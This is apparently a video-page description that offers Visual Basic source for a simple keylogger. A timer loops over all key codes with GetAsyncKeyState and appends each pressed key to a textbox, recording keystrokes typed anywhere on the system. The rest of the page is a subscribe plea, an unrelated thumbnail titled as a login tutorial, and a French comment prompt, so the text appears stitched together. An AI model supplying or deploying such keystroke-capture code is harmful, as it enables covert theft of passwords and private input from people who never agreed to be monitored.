Thanks For Watching : Please Subscribe, Alot More To Come Under Public Class Form: Dim result As Integer The Application Code : Timer1.Start() Timer Code : For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i Above Timer: Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
![[VB2008] Tutorial how make simple Login!](http://i.ytimg.com/vi/ztahFLtcz2c/1.jpg)
-
Soyez le premier à commenter cette vidéo.